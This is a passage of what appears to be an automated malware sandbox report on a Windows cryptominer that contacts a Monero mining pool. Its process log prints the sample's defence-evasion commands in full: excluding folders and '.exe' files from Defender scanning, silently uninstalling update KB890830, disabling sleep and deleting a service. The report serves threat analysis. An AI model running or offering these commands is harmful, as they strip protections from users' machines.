                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                            Malicious:false
                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                            C:\Windows\Temp\__PSScriptPolicyTest_wgbnj3d4.zi2.ps1

                                                            Download File
                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            File Type:ASCII text, with no line terminators
                                                            Category:dropped
                                                            Size (bytes):60
                                                            Entropy (8bit):4.038920595031593
                                                            Encrypted:false
                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                            Malicious:false
                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                            C:\Windows\Temp\lwvtwwbvppbh.sys

                                                            Download File
                                                            Process:C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe
                                                            File Type:PE32+ executable (native) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):14544
                                                            Entropy (8bit):6.2660301556221185
                                                            Encrypted:false
                                                            SSDEEP:192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
                                                            MD5:0C0195C48B6B8582FA6F6373032118DA
                                                            SHA1:D25340AE8E92A6D29F599FEF426A2BC1B5217299
                                                            SHA-256:11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
                                                            SHA-512:AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 5%
                                                            Joe Sandbox View:
                                                            • Filename: Eulen.exe, Detection: malicious, Browse
                                                            • Filename: U9jAFGWgPG.exe, Detection: malicious, Browse
                                                            • Filename: file.exe, Detection: malicious, Browse
                                                            • Filename: file.exe, Detection: malicious, Browse
                                                            • Filename: ICBM.exe, Detection: malicious, Browse
                                                            • Filename: file.exe, Detection: malicious, Browse
                                                            • Filename: file.exe, Detection: malicious, Browse
                                                            • Filename: ICBM.exe, Detection: malicious, Browse
                                                            • Filename: ICBM.exe, Detection: malicious, Browse
                                                            • Filename: ahlntQUj2t.exe, Detection: malicious, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

                                                            Static File Info

                                                            General

                                                            File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                            Entropy (8bit):6.54171843232324
                                                            TrID:
                                                            • Win64 Executable GUI (202006/5) 92.65%
                                                            • Win64 Executable (generic) (12005/4) 5.51%
                                                            • Generic Win/DOS Executable (2004/3) 0.92%
                                                            • DOS Executable Generic (2002/1) 0.92%
                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                            File name:NH95Vhokye.exe
                                                            File size:2'629'120 bytes
                                                            MD5:5c55da00932dc856a0ea2300548d7ba8
                                                            SHA1:0086bd795859a806345162e058b2bf76289ab3d8
                                                            SHA256:ad490bb460209b6a9183f7a5e7093c27f5b09cd26f2ab59d34b290d4f8bd69e9
                                                            SHA512:19bfff4ac9c278987988ff099f3cfcc58d53a211e1c7c975ca5070bc43c363c361c3b0e6c70c26b75133a84447da4a151af7506c563d9a2a2be6c9d92437d3d9
                                                            SSDEEP:49152:wnErrvH3Ycpk8lLnGxF2rwUCYvQc+0MiXQ6Ou005AYulpIe:0EnH39k0ekrhZvQH0RAD2Axjn
                                                            TLSH:E8C533DC829195F4EDAE96B0194E2EB4874BE4582B0DC4CBB7F39F322739CD89708951
                                                            File Content Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...$O.g.........."......z....'.....@..........@..............................(...........`........................................

                                                            File Icon

                                                            Icon Hash:00928e8e8686b000

                                                            Static PE Info

                                                            General

                                                            Entrypoint:0x140001140
                                                            Entrypoint Section:.text
                                                            Digitally signed:false
                                                            Imagebase:0x140000000
                                                            Subsystem:windows gui
                                                            Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                            DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                            Time Stamp:0x672E4F24 [Fri Nov 8 17:49:24 2024 UTC]
                                                            TLS Callbacks:0x40001760, 0x1, 0x400017e0, 0x1
                                                            CLR (.Net) Version:
                                                            OS Version Major:6
                                                            OS Version Minor:0
                                                            File Version Major:6
                                                            File Version Minor:0
                                                            Subsystem Version Major:6
                                                            Subsystem Version Minor:0
                                                            Import Hash:de41d4e0545d977de6ca665131bb479a

                                                            Entrypoint Preview

                                                            Instruction
                                                            dec eax
                                                            sub esp, 28h
                                                            dec eax
                                                            mov eax, dword ptr [00007ED5h]
                                                            mov dword ptr [eax], 00000001h
                                                            call 00007FE3ACC2A65Fh
                                                            nop
                                                            nop
                                                            nop
                                                            dec eax
                                                            add esp, 28h
                                                            ret
                                                            nop
                                                            inc ecx
                                                            push edi
                                                            inc ecx
                                                            push esi
                                                            push esi
                                                            push edi
                                                            push ebx
                                                            dec eax
                                                            sub esp, 20h
                                                            dec eax
                                                            mov eax, dword ptr [00000030h]
                                                            dec eax
                                                            mov edi, dword ptr [eax+08h]
                                                            dec eax
                                                            mov esi, dword ptr [00007EC9h]
                                                            xor eax, eax
                                                            dec eax
                                                            cmpxchg dword ptr [esi], edi
                                                            sete bl
                                                            je 00007FE3ACC2A680h
                                                            dec eax
                                                            cmp edi, eax
                                                            je 00007FE3ACC2A67Bh
                                                            dec esp
                                                            mov esi, dword ptr [00009691h]
                                                            nop word ptr [eax+eax+00000000h]
                                                            mov ecx, 000003E8h
                                                            inc ecx
                                                            call esi
                                                            xor eax, eax
                                                            dec eax
                                                            cmpxchg dword ptr [esi], edi
                                                            sete bl
                                                            je 00007FE3ACC2A657h
                                                            dec eax
                                                            cmp edi, eax
                                                            jne 00007FE3ACC2A639h
                                                            dec eax
                                                            mov edi, dword ptr [00007E90h]
                                                            mov eax, dword ptr [edi]
                                                            cmp eax, 01h
                                                            jne 00007FE3ACC2A65Eh
                                                            mov ecx, 0000001Fh
                                                            call 00007FE3ACC31C44h
                                                            jmp 00007FE3ACC2A679h
                                                            cmp dword ptr [edi], 00000000h
                                                            je 00007FE3ACC2A65Bh
                                                            mov byte ptr [002817C9h], 00000001h
                                                            jmp 00007FE3ACC2A66Bh
                                                            mov dword ptr [edi], 00000001h
                                                            dec eax
                                                            mov ecx, dword ptr [00007E7Ah]
                                                            dec eax
                                                            mov edx, dword ptr [00007E7Bh]
                                                            call 00007FE3ACC31C3Bh
                                                            mov eax, dword ptr [edi]
                                                            cmp eax, 01h
                                                            jne 00007FE3ACC2A66Bh
                                                            dec eax
                                                            mov ecx, dword ptr [00007E50h]

                                                            Data Directories

                                                            NameVirtual AddressVirtual Size Is in Section
                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0xa5600x3c.rdata
                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x2840000x180.pdata
                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x2870000x78.reloc
                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_TLS0x90a00x28.rdata
                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x94100x138.rdata
                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_IAT0xa6f80x158.rdata
                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                            Sections

                                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                            .text0x10000x79460x7a0059451a7e674835d19ae343d7adef8404False0.5108542520491803data6.1958324508316505IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                            .rdata0x90000x1ca80x1e008290066a083127ca63c09e83e3d22b95False0.4453125zlib compressed data4.625554019154341IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                            .data0xb0000x2788900x277a002fe626fa450d08da197f9ffd05913ed2unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                            .pdata0x2840000x1800x200651aff953f2f8f293b20b9ab1f9fb522False0.501953125data3.109609459076318IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                            .00cfg0x2850000x100x200b18c7380298e104adf73576fa46bccc1False0.04296875data0.15127132530476972IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                            .tls0x2860000x100x200bf619eac0cdf3f68d496ea9344137e8bFalse0.02734375data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                            .reloc0x2870000x780x200bf453fb5a72598673a6b8cdf2c7b1956False0.232421875data1.427872455676773IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                            Imports

                                                            DLLImport
                                                            msvcrt.dll__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp
                                                            KERNEL32.dllDeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

                                                            Network Behavior

                                                            Suricata IDS Alerts

                                                            TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                            2024-11-08T19:14:11.408400+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow120.109.210.53443192.168.2.949791TCP
                                                            2024-11-08T19:14:49.871429+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow14.245.163.56443192.168.2.949973TCP

                                                            Network Port Distribution

                                                            TCP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Nov 8, 2024 19:14:01.187336922 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:01.192169905 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:01.192346096 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:01.192728043 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:01.197474957 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:02.006149054 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:02.006165981 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:02.006272078 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:02.007113934 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:02.012156010 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:02.238549948 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:02.238596916 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:02.238641024 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:02.248459101 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:02.289608955 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:05.843835115 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:05.898969889 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:15.871697903 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:15.914580107 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:25.801361084 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:25.914544106 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:35.888643026 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:36.117626905 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:42.630774021 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:42.680047989 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:47.725971937 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:47.773776054 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:14:57.665570021 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:14:57.711234093 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:15:07.782573938 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:15:07.836210966 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:15:17.739788055 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:15:17.789297104 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:15:27.747580051 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:15:27.789251089 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:15:37.750564098 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:15:37.804884911 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:15:47.753161907 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:15:47.804780006 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:15:57.641130924 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:15:57.695380926 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:16:07.759179115 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:16:07.804718018 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:16:17.684386969 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:16:17.726572990 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:16:27.785660982 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:16:27.835920095 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:16:37.959278107 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:16:38.007756948 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:16:47.711204052 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:16:47.757749081 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:16:57.728984118 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:16:57.773308992 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:17:07.895945072 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:17:07.945152044 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:17:17.865462065 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:17:17.913908005 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:17:19.209146023 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:17:19.209369898 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:17:19.209424019 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:17:28.700215101 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:17:28.747538090 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:17:38.732063055 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:17:38.773189068 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:17:43.704493999 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:17:43.757543087 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:17:53.754462004 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:17:53.804550886 CET4974210343192.168.2.951.15.193.130
                                                            Nov 8, 2024 19:18:03.754795074 CET103434974251.15.193.130192.168.2.9
                                                            Nov 8, 2024 19:18:03.804409027 CET4974210343192.168.2.951.15.193.130

                                                            UDP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Nov 8, 2024 19:14:01.175611019 CET6188953192.168.2.91.1.1.1
                                                            Nov 8, 2024 19:14:01.183161974 CET53618891.1.1.1192.168.2.9

                                                            DNS Queries

                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                            Nov 8, 2024 19:14:01.175611019 CET192.168.2.91.1.1.10xd26cStandard query (0)xmr-eu1.nanopool.orgA (IP address)IN (0x0001)false

                                                            DNS Answers

                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                            Nov 8, 2024 19:14:01.183161974 CET1.1.1.1192.168.2.90xd26cNo error (0)xmr-eu1.nanopool.org54.37.137.114A (IP address)IN (0x0001)false
                                                            Nov 8, 2024 19:14:01.183161974 CET1.1.1.1192.168.2.90xd26cNo error (0)xmr-eu1.nanopool.org51.15.58.224A (IP address)IN (0x0001)false
                                                            Nov 8, 2024 19:14:01.183161974 CET1.1.1.1192.168.2.90xd26cNo error (0)xmr-eu1.nanopool.org51.15.193.130A (IP address)IN (0x0001)false
                                                            Nov 8, 2024 19:14:01.183161974 CET1.1.1.1192.168.2.90xd26cNo error (0)xmr-eu1.nanopool.org54.37.232.103A (IP address)IN (0x0001)false
                                                            Nov 8, 2024 19:14:01.183161974 CET1.1.1.1192.168.2.90xd26cNo error (0)xmr-eu1.nanopool.org141.94.23.83A (IP address)IN (0x0001)false
                                                            Nov 8, 2024 19:14:01.183161974 CET1.1.1.1192.168.2.90xd26cNo error (0)xmr-eu1.nanopool.org212.47.253.124A (IP address)IN (0x0001)false
                                                            Nov 8, 2024 19:14:01.183161974 CET1.1.1.1192.168.2.90xd26cNo error (0)xmr-eu1.nanopool.org146.59.154.106A (IP address)IN (0x0001)false
                                                            Nov 8, 2024 19:14:01.183161974 CET1.1.1.1192.168.2.90xd26cNo error (0)xmr-eu1.nanopool.org51.89.23.91A (IP address)IN (0x0001)false
                                                            Nov 8, 2024 19:14:01.183161974 CET1.1.1.1192.168.2.90xd26cNo error (0)xmr-eu1.nanopool.org51.15.65.182A (IP address)IN (0x0001)false
                                                            Nov 8, 2024 19:14:01.183161974 CET1.1.1.1192.168.2.90xd26cNo error (0)xmr-eu1.nanopool.org163.172.154.142A (IP address)IN (0x0001)false
                                                            Nov 8, 2024 19:14:01.183161974 CET1.1.1.1192.168.2.90xd26cNo error (0)xmr-eu1.nanopool.org162.19.224.121A (IP address)IN (0x0001)false

                                                            Statistics

                                                            CPU Usage

                                                            Click to jump to process

                                                            Memory Usage

                                                            Click to jump to process

                                                            High Level Behavior Distribution

                                                            Click to dive into process behavior distribution

                                                            Behavior

                                                            Click to jump to process

                                                            System Behavior

                                                            General

                                                            Target ID:0
                                                            Start time:13:13:52
                                                            Start date:08/11/2024
                                                            Path:C:\Users\user\Desktop\NH95Vhokye.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Users\user\Desktop\NH95Vhokye.exe"
                                                            Imagebase:0x7ff7657b0000
                                                            File size:2'629'120 bytes
                                                            MD5 hash:5C55DA00932DC856A0EA2300548D7BA8
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:low
                                                            Has exited:true

                                                            General

                                                            Target ID:2
                                                            Start time:13:13:53
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                            Imagebase:0x7ff760310000
                                                            File size:452'608 bytes
                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:3
                                                            Start time:13:13:53
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:5
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\cmd.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                            Imagebase:0x7ff7cfd60000
                                                            File size:289'792 bytes
                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:6
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\powercfg.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                            Imagebase:0x7ff657310000
                                                            File size:96'256 bytes
                                                            MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate
                                                            Has exited:true

                                                            General

                                                            Target ID:7
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:8
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\powercfg.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                            Imagebase:0x7ff657310000
                                                            File size:96'256 bytes
                                                            MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate
                                                            Has exited:true

                                                            General

                                                            Target ID:9
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\powercfg.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                            Imagebase:0x7ff657310000
                                                            File size:96'256 bytes
                                                            MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate
                                                            Has exited:true

                                                            General

                                                            Target ID:10
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:11
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\powercfg.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                            Imagebase:0x7ff657310000
                                                            File size:96'256 bytes
                                                            MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate
                                                            Has exited:true

                                                            General

                                                            Target ID:12
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\sc.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\sc.exe delete "MVYPJKYP"
                                                            Imagebase:0x7ff633660000
                                                            File size:72'192 bytes
                                                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:13
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:14
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:15
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:16
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff70f010000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:17
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\wusa.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                                            Imagebase:0x7ff78f9c0000
                                                            File size:345'088 bytes
                                                            MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:18
                                                            Start time:13:13:57
                                                            Start date:08/11/2024
                                                            Path:C:\Windows\System32\sc.exe
                                                            Wow64 process (32bit):false
